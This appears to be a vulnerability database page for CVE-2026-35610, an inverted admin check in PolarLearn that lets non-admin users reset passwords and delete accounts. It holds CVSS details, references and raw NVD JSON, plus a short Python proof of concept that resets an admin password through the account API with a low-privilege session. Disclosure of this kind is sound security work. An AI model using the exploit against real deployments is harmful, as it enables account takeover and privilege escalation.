CVE-2026-35610

Description

PolarLearn is a free and open-source learning program. In 0-PRERELEASE-14 and earlier, setCustomPassword(userId, password) and deleteUser(userId) in the account-management module used an inverted admin check. Because of the inverted condition, authenticated non-admin users were allowed to execute both actions, while real admins were rejected. This is a direct privilege-escalation issue in the application.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:polarlearn:polarlearn:-:*:*:*:*:*:*:* - VULNERABLE

PolarLearn <= 0-PRERELEASE-14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/api/account"
attacker_session_token = "low_priv_user_session_token"
target_admin_id = "1" # ID of the victim admin

# Headers
headers = {
    "Content-Type": "application/json",
    "Cookie": f"session_id={attacker_session_token}"
}

# Payload to escalate privileges by resetting admin password
# Exploiting the inverted admin check in setCustomPassword
payload = {
    "userId": target_admin_id,
    "password": "AttackerControlledPassword123!"
}

try:
    response = requests.post(target_url, json=payload, headers=headers)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Admin password has been reset.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35610
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35610
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35610/
[4] VulDB https://vuldb.com/cve/CVE-2026-35610
[5] https://github.com/polarnl/PolarLearn/security/advisories/GHSA-8hww-w7cc-77rj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35610", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:35.260", "lastModified": "2026-04-16T18:04:50.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PolarLearn is a free and open-source learning program. In 0-PRERELEASE-14 and earlier, setCustomPassword(userId, password) and deleteUser(userId) in the account-management module used an inverted admin check. Because of the inverted condition, authenticated non-admin users were allowed to execute both actions, while real admins were rejected. This is a direct privilege-escalation issue in the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:polarlearn:polarlearn:-:*:*:*:*:*:*:*", "matchCriteriaId": "98DA1036-1EFB-46E7-9C83-425B1C6E6F23"}]}]}], "references": [{"url": "https://github.com/polarnl/PolarLearn/security/advisories/GHSA-8hww-w7cc-77rj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}